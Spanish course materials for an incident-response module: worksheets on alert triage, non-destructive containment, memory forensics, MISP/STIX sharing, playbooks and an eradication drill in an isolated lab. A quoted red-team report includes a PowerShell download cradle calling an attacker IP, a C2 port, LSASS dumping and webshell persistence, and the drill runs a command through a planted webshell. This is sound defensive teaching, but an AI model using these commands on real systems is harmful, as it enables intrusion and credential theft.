Crea las tareas del caso (una por fase): `Triaje`, `Contención`, `Preservación de evidencia`, `Handoff a forense (UT6)`. En cada tarea añade un **log con hora** conforme avanzas: así se construye la **timeline** del caso. Copia las horas del parte (08:12 → 09:47).

Paso 5 — Exportar

Exporta el caso (JSON del caso + lista de observables) para adjuntarlo a la entrega.

Entrega (parte 1): `export` del caso de TheHive + `NN-IC-E9-caso.md` con capturas de: caso abierto, observables cargados con TLP, un analizador de Cortex ejecutado y la timeline. La **parte 2** (contención) se documenta en `ficha-contencion.md`.

Ficha del alumnado — Contención inicial sin destruir evidencia (IC-E9, parte 2)

Objetivo: aplicar las primeras medidas que **limitan el daño** del incidente **preservando la evidencia** para el forense de la UT6. Rúbrica R3. Todo en la **VLAN aislada**.

Regla de oro: **aislar ≠ apagar/reinstalar**. Apagar o reinstalar un equipo comprometido borra la memoria RAM y artefactos volátiles que necesita el análisis. Contienes, no destruyes.

Orden de la contención (de más a menos urgente)

1. **Cortar la exfiltración y el C2** (para de sangrar).
2. **Aislar los endpoints comprometidos** por red, sin apagarlos.
3. **Revocar la cuenta comprometida** y matar sus sesiones.
4. **Preservar** (snapshot) antes de cualquier limpieza. La limpieza es UT7.

Paso 1 — Bloquear el indicador C2 (en el router/cortafuegos del lab)

Bloquea la IP `185.220.101.47` y el dominio `update-cdn-xest.link` para toda la VLAN. En una plataforma con Wazuh, puedes usar la **respuesta activa** `firewall-drop` disparada por la regla del C2. Documenta la hora exacta del bloqueo.

Paso 2 — Aislar el endpoint (Wazuh active response), NO apagarlo

Aísla `portal-soc` (10.10.10.10) y `ws-admin` (10.10.10.31): que solo puedan hablar con el agente Wazuh/SOC (10.10.10.20), nada más. **No** los apagues. Ver el snippet de respuesta activa que te da el profesor (`active-response-aislar.md`).

Paso 3 — Revocar la cuenta comprometida

`jadmin` está comprometida y el atacante creó `svc-update` (admin). Deshabilita ambas y **mata sus sesiones activas** (no basta con cambiar la contraseña si la sesión sigue viva).

Paso 4 — Preservar antes de tocar

Haz un **snapshot** de las VMs `portal-soc` y `ws-admin` **antes** de cualquier otra acción, y anota su hash/etiqueta. Ese snapshot es la materia prima del forense (IC-E10). Registra cada acción con hora en la tarea "Contención" del caso de TheHive.

Lo que NO debes hacer (y por qué)

Tentación	Por qué está mal
Apagar `ws-admin`	Pierdes la RAM: procesos, conexiones, claves en memoria.
Borrar la webshell "para limpiar"	Destruyes evidencia y avisas al atacante. Aíslas, no borras.

Tentación	Por qué está mal
Reinstalar ya	Es **erradicación/recuperación** (UT7), después del forense (UT6).
Solo cambiar la contraseña de `jadmin`	La sesión activa sigue viva; hay que terminarla.

Entrega (parte 2): en `NN-IC-E9-caso.md`, la **contención documentada** (qué, a qué hora, con qué comando) + prueba de que la **evidencia se preservó** (etiqueta/hash del snapshot) para el handoff a UT6.

Ficha del alumnado — Triaje cronometrado de la cola (IC-E8)

Objetivo: convertir 20 alertas en una cola priorizada con criterio reproducible y arrancar el **procedimiento de triaje** del SOC de xest. Entrega asociada: **IC-E8** (rúbrica R2).

Dataset: `cola-alertas-lab.csv` (20 alertas, con falsos positivos mezclados). **Matriz de referencia**: `IC/material/plantillas/matriz-triaje.md` del repo (`Prioridad = Criticidad × Alcance × Confianza`, cada factor de 1 a 3).

Parte A — Triaje con reloj (35 min)

Tienes **35 minutos** para clasificar las 20 alertas. Rellena una fila por alerta:

ID	Criticidad (1-3)	Alcance (1-3)	Confianza (1-3)	Prioridad (P1-P4)	¿Falso positivo?	Justificación (obligatoria si es FP)
A01						
…						
A20						

Reglas duras: 1. Cada cierre por **falso positivo** exige una frase de descarte por escrito. Un cierre en blanco cuenta como error de triaje (en un SOC real, así se pierde el rastro de un incidente). 2. No todo es "prioridad alta". Si no aplicas la matriz, no estás triando: estás adivinando. 3. Un **intento** rechazado no es lo mismo que un **éxito**. Léelo en el `resumen`. 4. Un indicador aislado sube de prioridad cuando **correlaciona** con otros de la misma cola.

Parte B — Correlación (10 min)

Varias alertas cuentan **la misma historia**. Agrúpalas: ¿cuáles pertenecen a un mismo incidente en curso? Dibuja la secuencia (hora → activo → acción). Esa cadena es el caso que abrirás en la Sesión 2.

Parte C — Procedimiento de triaje de xest (para IC-E8)

Redacta el procedimiento del SOC (1-2 páginas) con, al menos:

- **Flujo L1 → L2 → L3**: quién clasifica, quién investiga, quién escala.
- **La matriz** (criticidad × alcance × confianza) con los rangos P1-P4 y su objetivo de atención.
- **La regla de oro** del cierre justificado por falso positivo.
- **Criterio de escalado**: cuándo una alerta P1 se convierte en caso y avisa al coordinador (usa la matriz de escalado de `IC/material/csirt/manual-csirt.md`).

Verifica tu recuento antes de entregar (no te fíes de tu propia hoja):

```
# Total de alertas (debe ser 20 + cabecera = 21 líneas)
wc -l cola-alertas-lab.csv
# Reparto por fuente
awk -F, 'NR>1{print $3}' cola-alertas-lab.csv | sort | uniq -c
```

Entrega: `NN-IC-E8-triaje.md` (procedimiento + matriz + tu registro de las 20 alertas).

IC · UT6 — Investigación del incidente: evidencias, análisis e intercambio de información

12 horas · RA3 (a, b, c, d) · Servicio SOC: Respuesta — análisis · Protección — inteligencia operacional · Evidencias `IC-E10`, `IC-E11`

Qué vamos a conseguir

Investigar sin perder trazabilidad y compartir indicadores con contexto.

Antes de empezar

Herramientas: Hashes, evidencias locales, Velociraptor/Volatility cuando existan adquisiciones; STIX/MISP.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Lee ficha-IC-E10-adquisicion.md e inventaría los archivos proporcionados. Distingue imagen de memoria, logs y salidas previamente generadas.
2. Calcula hashes, conserva originales y analiza copias. Rellena cadena de custodia con cada transferencia.
3. Relaciona procesos, red, persistencia y registros en una línea de tiempo normalizada a UTC.
4. Formula una hipótesis de entrada y busca evidencia que pueda refutarla, además de la que la apoya.
5. Resuelve ficha-IC-E11-investigacion.md y contrasta con el informe HE-E12 recibido.
6. Exporta indicadores con contexto, vigencia y restricciones. Validar JSON no valida STIX ni demuestra importación en MISP; comprueba cada nivel por separado.

Cómo comprobar que está hecho

Originales preservados; cronología fundamentada; formato e importación distinguidos.

> Sin imagen de memoria no se acredita adquisición ni ejecución real de Volatility; las salidas de ejemplo son análisis documental.

Desarrollo y fichas

- Explicación completa de la unidad.
- HE-E12-informe-intrusion
- ficha-IC-E10-adquisicion
- ficha-IC-E11-investigacion
- plantilla-cadena-custodia
- plantilla-informe-forense

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT6 — Investigación del incidente: evidencias, análisis e intercambio de información

12 horas · RA3 (a, b, c, d) · Servicio SOC: Respuesta — análisis · Protección — inteligencia operacional · Evidencias `IC-E10`, `IC-E11`

---

1. Objetivo de la unidad

Investigar a fondo un incidente: adquirir y custodiar evidencias, analizarlas, reconstruir la cadena de ataque, determinar la causa raíz e intercambiar la inteligencia resultante. El caso a investigar es la intrusión que el módulo HE ha producido en el ejercicio; ambos se coordinan en la misma semana.

2. Contenido

2.1 Adquisición y custodia de evidencias (RA3.a)

- **Orden de volatilidad**: memoria antes que disco, disco antes que copias.
- Hash de cada evidencia (integridad), sellado, cadena de custodia.
- Coordinación con el módulo **AF (Análisis forense)**: IC define el uso legal de la evidencia; AF la analiza en profundidad.

2.2 Análisis (RA3.b)

- Línea de tiempo del incidente: qué pasó y cuándo.
- Artefactos de sistema, memoria, red y registros.
- Correlación de eventos hasta reconstruir la secuencia.

2.3 Investigación y causa raíz (RA3.c)

- Cómo entró el atacante (vector), qué hizo, hasta dónde llegó.
- Determinación de la causa raíz (no el síntoma).

2.4 Intercambio de información (RA3.d)

- **MISP** para compartir IoCs; **STIX 2.1** como formato estándar.
- **TLP** (Traffic Light Protocol) para controlar la difusión.
- Relación con CCN-CERT / INCIBE-CERT y con proveedores.

3. Laboratorio guiado

Parte A — Triaje forense (RA3.a, RA3.b)

```
# Velociraptor sobre la máquina comprometida de laboratorio
# Recolección dirigida: procesos, conexiones, persistencia, artefactos de ejecución
velociraptor --config server.config.yaml frontend
# Análisis de memoria con Volatility 3
vol -f memoria.raw windows.pslist
vol -f memoria.raw windows.malfind
```

1. Adquiere y analiza la evidencia de la máquina comprometida por HE, respetando el orden de volatilidad y hasheando cada pieza.

Parte B — Línea de tiempo y ATT&CK (RA3.b, RA3.c)

1. Construye la **línea de tiempo** del incidente y **mapea las TTPs a ATT&CK**. Determina el vector de entrada y la causa raíz.

Parte C — Intercambio (RA3.d)

```
# Publicar el evento con sus IoCs en MISP y exportar STIX 2.1
# Asignar TLP adecuado
```

1. Publica el evento en MISP con sus IoCs y expórtalo en STIX 2.1, con el TLP adecuado.

4. Entregables

- **`IC-E10`** (informe, rúbrica R2): informe de investigación con línea de tiempo, causa raíz e IoCs.
- **`IC-E11`** (reto integrado, rúbrica R3): evento MISP publicado y exportación STIX validada.

5. Criterios de superación

- La evidencia se adquiere con criterio forense (volatilidad, hash, custodia).
- La línea de tiempo reconstruye la intrusión y la causa raíz es la causa, no el síntoma.
- El evento MISP/STIX es válido y con TLP correcto.

6. Coordinación

Este caso proviene de **HE UT6/UT7** (la intrusión del ejercicio) y se coordina con **AF** para la cadena de custodia. La causa raíz vuelve a **PPS** como requisito de bastionado.

7. Referencias

- NIST SP 800-61 rev. 2 y NIST SP 800-86.
- Velociraptor, Volatility 3, KAPE.
- MISP, STIX 2.1, TLP v2.0 (FIRST).
- MITRE ATT&CK.

HE-E12 — Informe de intrusión del equipo rojo (verdad terreno del caso)

> **Uso docente**: es el documento que el módulo **Hacking Ético** entrega al SOC como cierre de su ejercicio. En clase se **revela en la Sesión 3**, para que el alumnado **contraste** su reconstrucción forense con lo que realmente hizo el rojo (criterio de verificación de la rúbrica R1/R3). No lo repartas antes de la puesta en común de S2.

Alcance autorizado (ROE)

- Objetivos: `portal-soc.xest.local` (10.10.10.10) y VLAN de laboratorio `10.10.10.0/24`.
- Estación atacante: Kali `10.10.10.66`. Ventana: 14/01/2027, 09:00–13:00.
- Fuera de alcance: cualquier host fuera de la VLAN de laboratorio.

Resumen de la cadena

1. **Reconocimiento y SQLi** contra `portal-soc.xest.local` con sqlmap (09:12). Se extrae la tabla `users` y se obtiene la credencial del panel (`webadmin`).
2. **Acceso al panel** (09:38) y **subida de webshell** `shell.php` por `admin/upload.php`, que no valida extensión ni tipo MIME (09:41). — *T1190 / T1505.003*.
3. Vía webshell se lee `config.php` (09:55): credenciales de BD y una **contraseña de administrador reutilizada** en toda la red.
4. Con esa credencial, **RDP a `WIN-XEST-ADM` (10.10.10.50)** como `admin` (10:20). — *T1078 / T1021.001*.
5. **Download cradle** en PowerShell: `IEX (…).DownloadString('http://10.10.10.66:8080/a.ps1')` (10:24). `a.ps1` descarga el implante `svchost32.exe` a `%LOCALAPPDATA%\Temp`. — *T1059.001 / T1105*.
6. El implante inyecta shellcode y abre **C2 a 10.10.10.66:4444** (10:25). — *T1055 / T1571*.
7. **Persistencia**: clave `Run\WindowsUpdate` + tarea `\...\UpdateOrchestrator\SysHealth` (10:28). — *T1547.001 / T1053.005*.
8. **Reconocimiento** local (`whoami /priv`, `net user`) y **volcado de LSASS** (10:35). — *T1033 / T1003.001*.

IoC declarados por el rojo

Tipo	Valor
IP C2	10.10.10.66

Tipo	Valor
Puerto C2	4444/tcp
URL descarga	http://10.10.10.66:8080/a.ps1
Fichero	C:\Users\admin\AppData\Local\Temp\svchost32.exe
Fichero	/var/www/uploads/shell.php (en el portal)
Persistencia	HKCU...\Run\WindowsUpdate ; Tarea \Microsoft\Windows\UpdateOrchestrator\SysHealth
Cuenta abusada	admin (credencial reutilizada desde config.php del portal)

Causa raíz declarada

`admin/upload.php` **acepta cualquier archivo** (sin lista blanca de extensión ni verificación de tipo). Esto permite la webshell; el resto de la cadena se apoya en **reutilización de credenciales** y **falta de segmentación** entre el portal y la estación de administración. Recomendación de bastionado devuelta a **PPS**.

Ficha IC-E10 · Adquisición y análisis forense (para el alumnado)

Evidencia: IC-E10 · RA3 a,b · Instrumento I1 · Rúbrica **R1** (práctica de laboratorio). **Caso**: intrusión que HE produjo en `xest` (máquina `WIN-XEST-ADM`, 10.10.10.50). **Entorno**: VLAN aislada de laboratorio. Trabajas sobre el **snapshot** de la máquina comprometida y el volcado `memoria.raw` que ha preparado el docente. Bolsa de evidencias de referencia en `evidencias/`.

> Regla de aula: no se toca ningún host fuera de la VLAN de laboratorio. La memoria se analiza sobre copia; el original se preserva y se hashea. **Conserva integridad, procedencia y cadena de custodia; un hash por sí solo no acredita todo ello.**

Parte A — Adquisición con criterio forense (RA3.a)

1. Ordena las evidencias por **volatilidad** (¿qué adquieres primero y por qué?).
2. Adquiere memoria y artefactos dirigidos con **Velociraptor**; genera el **hash** de cada pieza en el momento de la adquisición.

3. Abre la **cadena de custodia** (`plantilla-cadena-custodia.md`): una fila por evidencia con quién, cuándo, hash y dónde queda depositada.

Comprobación: `sha256sum -c` sobre tu manifiesto reproduce los hashes sin error.

Parte B — Análisis de memoria con Volatility 3 (RA3.b)

Sobre `memoria.raw`, ejecuta y **guarda la salida** de:

```
vol -f memoria.raw windows.pslist
vol -f memoria.raw windows.pstree
vol -f memoria.raw windows.cmdline
vol -f memoria.raw windows.netscan
vol -f memoria.raw windows.malfind
```

Responde en tu informe (usa `plantilla-informe-forense.md`):

1. ¿Qué proceso es **anómalo** y por qué? (nombre, PID, ruta, proceso padre).
2. ¿A qué dirección y puerto abre **conexión de red** ese proceso? ¿Qué es?
3. ¿Qué evidencia de **código inyectado** encuentras? ¿En qué proceso(s)?
4. Descodifica la línea de comandos de `powershell.exe`. ¿Qué hace?
5. ¿Qué **persistencia** dejó el atacante? (revisa `velociraptor-autoruns.csv`).

Entrega: `NN-IC-E10-forense.md` (informe) + `hashes.txt` (manifiesto de integridad) + las salidas `vol-*.txt`. Correlación fina y causa raíz → se completa en **IC-E11**.

Ficha IC-E11 · Timeline, causa raíz e intercambio (para el alumnado)

Evidencia: IC-E11 · RA3 b,c,d · Instrumento I3 · Rúbrica **R3** (reto integrado). **Caso**: el mismo de IC-E10. Ahora **reconstruyes** el incidente y **compartes** la inteligencia. Bolsa de evidencias en `evidencias/`.

Parte A — Línea de tiempo y ATT&CK (RA3.b, RA3.c)

1. Fusiona tus hallazgos (memoria, registro, EVTX, log del portal) en una **línea de tiempo** única, ordenada por hora. Tienes de apoyo `evidencias/timeline-supertimeline.csv`.
2. **Mapea cada paso a una técnica de MITRE ATT&CK** (identificador Txxxx).
3. Determina el **vector de entrada** y la **causa raíz**. Aviso: *"había malware"* NO es causa raíz. La causa raíz es **por qué fue posible entrar**.

Parte B — Contraste con la verdad terreno (verificación, RA3.c)

1. El docente te entrega ahora `evidencias/HE-E12-informe-intrusion.md`. **Compara** tu reconstrucción con lo que el rojo declara: ¿coincide el vector, la cadena, la causa raíz? Anota lo que **no pudiste ver** solo con la memoria y por qué.

Parte C — Intercambio de inteligencia (RA3.d)

1. Construye el **evento MISP** con los IoC del caso (IP/URL/hash/fichero/persistencia), etiquétalo con el **TLP** que corresponda y **publícalo**.
2. **Exporta a STIX 2.1** y valida el bundle.

```
MISP -> Add Event -> Attributes (IoC) -> Galaxy/Tags (ATT&CK + TLP) -> Publish -> Download as STIX 2.1
# Validación del bundle:
python -m stix2validator NN-IC-E11-stix-bundle.json   # tu export; o: stix2 parse
```

Decisión TLP (justifícala): ¿el caso puede compartirse con la comunidad (CCN-CERT / INCIBE-CERT) o solo dentro de xest? Explica por qué eliges **TLP:AMBER** frente a GREEN/RED.

Entrega: `NN-IC-E11-investigacion.md` (timeline + ATT&CK + causa raíz + contraste HE-E12) + export STIX 2.1 validado. Se corrige con R3: se valora la **integración** con HE/AF/PPS y la **reproducibilidad**.

Cadena de custodia — Incidente xest (plantilla para el alumnado)

Incidente: ___ ***Referencia SOC**: IC-CASE-__* ***Analista responsable:*** ____ ***Fecha de apertura:*** _

> Toda evidencia entra en esta tabla en el momento de adquirirse, con su hash. Cualquier traspaso (a AF para análisis en profundidad, por ejemplo) añade una fila de custodia. Un hueco en la cadena invalida la evidencia como prueba.

1. Registro de evidencias adquiridas

#	Descripción de la evidencia	Origen (host/ IP)	Método/ herramienta	Fecha-hora (UTC)	Algoritmo	Hash	Adquirida por
E1	Volcado de memoria RAM	WIN-XEST-ADM (10.10.10.50)			SHA256		
E2	Recolección dirigida (procesos, red, persistencia)	WIN-XEST-ADM	Velociraptor		SHA256		
E3	Copia de disco / MFT / registro	WIN-XEST-ADM			SHA256		
E4	Log del portal (access.log)	portal-soc (10.10.10.10)			SHA256		
E5					SHA256		

2. Traspasos de custodia

Evidencia	De	A	Motivo	Fecha-hora	Hash verificado (S/N)	Firma
E1	Analista IC	Módulo AF	Análisis del binario en profundidad			

3. Verificación de integridad

- Comando usado: `sha256sum -c manifiesto.txt`
- Resultado (pegar salida): _____
- Los hashes de depósito **coinciden** con los de adquisición: ☐ Sí ☐ No

4. Depósito final

- Ubicación del contenedor de evidencias (cifrado): _____

- Responsable de custodia: __ Acceso restringido a: __

Informe de investigación forense — [Incidente xest] (plantilla · IC-E10 + IC-E11)

> Estructura mínima esperada (rúbricas R1/R2/R3). Rellena cada sección; no dejes huecos. Distingue siempre **lo verificado** (visto en la evidencia) de **lo inferido**.

0. Resumen ejecutivo (para dirección, ≤10 líneas)

Qué pasó, cuándo se detectó, alcance, causa raíz en una frase y estado actual. Sin jerga.

1. Ficha del caso

- Referencia SOC / analista / fechas.
- Sistemas afectados y ventana temporal del incidente.
- Origen del caso: **HE-E12** (ejercicio del equipo rojo). Coordinación con **AF** y **PPS**.

2. Adquisición y cadena de custodia (RA3.a)

- Orden de volatilidad seguido y **justificación**.
- Tabla de evidencias con hash (enlaza `plantilla-cadena-custodia.md`).
- Verificación de integridad (`sha256sum -c`).

3. Análisis (RA3.b)

- **Procesos**: proceso anómalo, PID, ruta, padre, por qué es sospechoso.
- **Red**: conexiones C2 (IP, puerto, proceso).
- **Memoria**: código inyectado (malfind), cadenas relevantes, download cradle descodificado.
- **Persistencia**: claves de registro y tareas creadas por el atacante.
- **Disco/registro**: artefactos de ejecución, ficheros creados.

4. Línea de tiempo (RA3.b) y mapeo ATT&CK (RA3.c)

Hora (UTC)	Evento	Evidencia que lo soporta	Técnica ATT&CK

5. Vector de entrada y causa raíz (RA3.c)

- **Vector**: cómo entró al entorno.
- **Causa raíz**: por qué fue posible (no el síntoma). Recomendación devuelta a PPS.
- **Contraste con HE-E12**: coincidencias, discrepancias y puntos ciegos de la investigación.

6. Indicadores de compromiso (IoC) e intercambio (RA3.d)

- Tabla de IoC (tipo, valor, confianza).
- **Evento MISP** (id/enlace), **TLP** asignado y **justificación**.
- **Export STIX 2.1** adjunto y validado.

7. Recomendaciones y traspaso

- Entrada a **UT7** (respuesta/erradicación) y **UT8** (notificación).
- Qué queda para **AF** (análisis del binario) y **PPS** (bastionado).

IC · UT7 — Respuesta, ciberresiliencia y recuperación del servicio

14 horas · RA4 (a, b, c, d, e, f) · Servicio SOC: Respuesta — contención, erradicación, recuperación · Evidencias `IC-E12`, `IC-E13`, `IC-E14`

Qué vamos a conseguir

Ejecutar respuesta, recuperación y mejora con pruebas funcionales.

Antes de empezar

Herramientas: Playbooks, tabletop y simulacro técnico Docker con copia verificada.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Asigna roles y adapta los playbooks a los activos del caso, con autorización y reversión por acción.
2. Ensaya el tabletop registrando hechos conocidos, decisión, responsable y hora.
3. En simulacro-tecnico/ficha-alumno.md conserva evidencia antes de intervenir y usa los IoC recibidos de HE.
4. Comprueba cada mecanismo de persistencia previsto y aplica la erradicación de laboratorio.
5. Restaura desde copia verificada, prueba función y datos y monitoriza después de recuperar.
6. Mide RTO/RPO y completa lecciones/plantilla-lecciones-aprendidas.md con acciones, responsables y prueba de cierre.

Cómo comprobar que está hecho

Erradicación y recuperación diferenciadas; datos verificados; mejora asignada.

> Un HTTP 200 por sí solo no acredita recuperación íntegra ni ausencia de persistencia.

Desarrollo y fichas

- Explicación completa de la unidad.
- plantilla-lecciones-aprendidas
- ficha-ensayo-alumno
- ficha-alumno
- ioc-he-e14
- hoja-decisiones-alumno

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT7 — Respuesta, ciberresiliencia y recuperación del servicio

14 horas · RA4 (a, b, c, d, e, f) · Servicio SOC: Respuesta — contención, erradicación, recuperación · Evidencias `IC-E12`, `IC-E13`, `IC-E14`

---

1. Objetivo de la unidad

Es la unidad de mayor peso del módulo: dar respuesta completa a un incidente con playbooks ensayados, mantener el servicio (ciberresiliencia), erradicar la amenaza y recuperar desde copia verificada, cerrando con lecciones aprendidas. Aquí el SOC demuestra para qué existe.

2. Contenido

2.1 Playbooks por categoría (RA4.a)

Seis playbooks operativos (en `SOC/plataforma/playbooks/`):

1. Ransomware
2. Phishing / BEC
3. Malware en endpoint
4. Exfiltración de datos

5. DDoS
6. Cuenta comprometida (identidad)

Cada uno sigue la estructura NIST y decide por fase.

2.2 Ciberresiliencia (RA4.b)

- Continuidad del servicio durante el incidente: RTO/RPO, copias inmutables, degradación controlada.
- Fortalecer identificación, detección, prevención, contención, recuperación y cooperación con terceros.

2.3 Flujo de decisión y escalado (RA4.c)

- Matriz RACI del CSIRT: quién decide, quién ejecuta, quién es informado.
- Escalado interno (dirección, jurídico) y externo (CERT, proveedor).

2.4 Erradicación y recuperación (RA4.d)

- Eliminar el vector, el malware persistido y cualquier puerta trasera.
- Restaurar desde **copia verificada**, endurecer y **monitorizar reforzado** las semanas siguientes.

2.5 Lecciones aprendidas (RA4.e, RA4.f)

- Retrospectiva sin culpables: qué falló en el proceso, no quién.
- Acciones correctoras con responsable y fecha; seguimiento hasta el cierre.
- Retroalimentación a PPS (bastionado) y HE (nuevos escenarios).

3. Laboratorio guiado

Parte A — Playbooks (RA4.a)

1. Redacta y ensaya los **seis playbooks** del SOC de xest, partiendo de los de `SOC/plataforma/playbooks/`.

Parte B — Tabletop de ransomware (RA4.b, RA4.c)

1. Ejecuta el **ejercicio de mesa** de ransomware con roles repartidos y **reloj real**, usando el escenario de `IC/material/plantillas/tabletop-ransomware.md`. Decide contención, verificación de copias, escalado y notificación.

Parte C — Simulacro técnico (RA4.d)

1. Simulacro técnico: contén, erradica y **restaura desde copia verificada** un sistema de laboratorio. Mide el tiempo de vuelta a la normalidad.

Parte D — Retrospectiva (RA4.e, RA4.f)

1. Retrospectiva con acciones correctoras asignadas (responsable + fecha de verificación).

4. Entregables

- **`IC-E12`** (informe, rúbrica R2): manual del CSIRT — roles, matriz de escalado y seis playbooks ensayados.
- **`IC-E13`** (reto integrado, rúbrica R3): informe del tabletop con autocrítica y plan de acciones correctoras.
- **`IC-E14`** (defensa oral, rúbrica R4): defensa del incidente ante tribunal simulado.

5. Criterios de superación

- Los seis playbooks están redactados y ensayados, no solo descritos.
- El tabletop se ejecuta con reloj real y produce autocrítica útil.
- La recuperación usa copia verificada y mide el tiempo real.

6. Referencias

- **NIST SP 800-61 rev. 2** — ciclo de respuesta.
- **ISO/IEC 27035** — gestión de incidentes.
- **CCN-STIC 817 / 403** — gestión de ciberincidentes.
- Manual CSIRT y playbooks: `IC/material/csirt/` y `SOC/plataforma/playbooks/`.

Plantilla — Lecciones aprendidas (IC-E14, RA4.e/f)

> Retrospectiva **sin culpables** del incidente respondido en S2/S3. Se corrige con R2. Un IC-E14 excelente es el que un jefe podría coger y **ejecutar** sin preguntaros nada. Regla de oro: se arreglan **procesos**, no se juzgan personas.

1. Resumen del incidente

- Qué pasó (2-3 líneas): _____
- Impacto (servicio, datos, alcance): _____
- **RTO real medido**: _ · ***RTO objetivo: 4 h · ¿Cumplido?*** _

2. Cronología

Reutiliza la de S2 (tabletop) y S3 (respuesta técnica). Hitos con hora:

Hora	Hecho / decisión

3. Causa raíz (5 porqués)

No pares en el síntoma. Baja hasta un **proceso que tú controlas**.

1. ¿Por qué ocurrió? _____
2. ¿Por qué eso? _____
3. ¿Por qué eso? _____
4. ¿Por qué eso? _____
5. ¿Por qué eso? _____

Causa raíz identificada: _____

> Si tu causa raíz es "el atacante era muy bueno", no es una causa: es una excusa.

4. Qué salió bien / qué salió mal (sin culpables)

Salió bien	Salió mal (en el proceso, no la persona)

5. Acciones correctoras

Cada acción con las **tres partes**: qué, quién, cuándo se verifica. Sin las tres, no cuenta.

Hallazgo (causa raíz)	Acción correctora	Responsable	Fecha objetivo	Fecha verificación

6. Retroalimentación a otros módulos

- **A PPS** (bastionado): _____
- **A HE** (nuevo escenario de ataque para el próximo curso):
  _____
- **A la detección (UT3)** (nuevas reglas Wazuh/Sigma):
  _____

7. Seguimiento hasta el cierre

¿Cómo y cuándo se comprobará que **todas** las acciones están verificadas y cerradas?

_____

> Recuerda: resiliencia no es no caer, es **caer una vez y no volver a caer por lo mismo**.

Ficha del alumnado — Redacción y ensayo de playbooks (IC-E12, RA4.a)

> Partís de los playbooks base del repo (`SOC/plataforma/playbooks/`) y del manual del CSIRT (`IC/material/csirt/manual-csirt.md`). **No empezáis en blanco**: copiáis el base y lo **adaptáis a xest**. Entrega IC-E12: `playbooks/*.md` + manual CSIRT cumplimentado.

Paso 1 · Vuestro CSIRT

Completad la tabla de roles del manual con los nombres de vuestro equipo:

Rol	Titular	Suplente
Coordinador de incidente		
Analista L1		
Analista L2		
Analista L3		

Rol	Titular	Suplente
Portavoz		
Enlace jurídico		

Paso 2 · Vuestro playbook (categoría asignada: _____)

Copiad el base del repo y adaptadlo a xest. Rellenad la **decisión clave por fase**:

Fase NIST	Acción adaptada a xest	Decisión clave de la fase
Detección y análisis		
Contención		
Erradicación		
Recuperación		
Post-incidente		

Criterios de calidad (así se puntúa el R2): - [ ] Cada fase termina en una **decisión**, no en un buen deseo. - [ ] Cita **sistemas, VLAN e IoC de xest** (no genérico de Internet). - [ ] Menciona el **reloj regulatorio** donde aplique (RGPD 72 h, NIS2 24 h). - [ ] La fila del playbook cuadra con la **matriz RACI** del manual.

Paso 3 · Ensayo (walkthrough con reloj)

Elegid una persona como facilitador que lea el escenario; el resto responde con el playbook en la mano y **cronómetro en marcha**. Anotad qué haríais y **cuánto tardáis en decidir**.

Momento del escenario	Decisión tomada	Quién (rol)	Tiempo de reloj

Autocrítica del ensayo: ¿en qué paso dudasteis? ¿qué del playbook había que aclarar?

_____

> Un playbook **descrito** no vale: el ensayo es lo que demuestra que funciona. Es criterio de superación de la unidad.

Ficha del alumnado — Simulacro técnico: erradicar y recuperar (IC-E13, RA4.d)

> **Entorno**: VLAN aislada de xest. El contenedor `portal-comprometido` es un objetivo de laboratorio. No ejecutes nada de esto contra la red del centro ni contra Internet. **Evidencia a producir**: la parte técnica de IC-E13 (respuesta ejecutada) con RTO real medido y la salida `6/6 LIMPIO` del checker.

Objetivo

Un sistema de xest ha sido comprometido. Tienes los IoC de HE (`ioc-he-e14.md`). Tu misión: 1. **Contener** y hacer triaje: cazar **todas** las puertas traseras. 2. **Erradicar** cada una. 3. **Recuperar** el servicio desde una **copia verificada** y **medir el RTO real**. 4. **Demostrar** que no queda persistencia (checker en 6/6).

Paso 0 · El reloj arranca

Anota la **hora de inicio** en cuanto empieces a responder. El RTO se mide desde aquí hasta que el servicio vuelve a estar operativo y limpio.

`Hora de inicio: _____`

Paso 1 · Confirmar el compromiso

```
docker compose ps
curl -s "http://localhost:8090/assets/.cache.php?c=id"
```

¿Qué devuelve el segundo comando y por qué es un problema?

_____

Paso 2 · Triaje: cazar la persistencia (usa ioc-he-e14.md)

```
docker exec -it portal-comprometido bash
```

Localiza y anota cada puerta (comando que la delata + evidencia encontrada):

#	Puerta	Comando que la delata	Evidencia (salida)
1	Webshell		
2	Usuario backdoor + clave		
3	Cron reverse shell		
4	Binario SUID		

Paso 3 · Erradicar cada puerta

Anota el comando de erradicación de cada una. **Antes de dar por erradicado, no restaures nada.**

`1)` _____ `2)` _____ `3)` _____ `4)` _____

Paso 4 · Recuperar desde copia verificada

Primero **verifica** la copia por hash; solo si sale `OK`, restaura:

```
cd copia-verificada && sha256sum -c SHA256SUMS
```

Resultado: _____ (si sale `FAILED`, **para**: restaurar sería reinfectarse)

Restaura el webroot limpio, reinicia el servicio y comprueba que responde `200`. Anota la **hora de fin** y calcula el **RTO real**:

`Hora de fin:` _____ `RTO real = fin - inicio =` _____ `RTO objetivo del servicio: 4 h. ¿Se ha cumplido?` _____

Paso 5 · Demostrar ausencia de persistencia

```
bash verificar-persistencia.sh
```

Pega aquí el resultado. **No has terminado hasta ver `6/6 LIMPIO`.** Si sale algún `[FALLO]`, vuelve al paso 3 sobre esa puerta concreta.

`RESULTADO:` _____

Paso 6 · Monitorización reforzada

Propón **una regla de detección por cada puerta** que cerraste (qué evento debería alertar):

- Webshell: _____
- Usuario nuevo: _____
- Cron a IP externa: _____
- SUID nuevo: _____

Para IC-E13 (parte técnica)

Vuelca en tu informe: vector y persistencia (con el IoC que delató cada puerta), erradicación (comando por puerta), recuperación (hash OK + RTO real medido), la salida `6/6 LIMPIO` y las reglas de monitorización reforzada.

IoC del incidente — entregado por Hacking Ético (HE-E14)

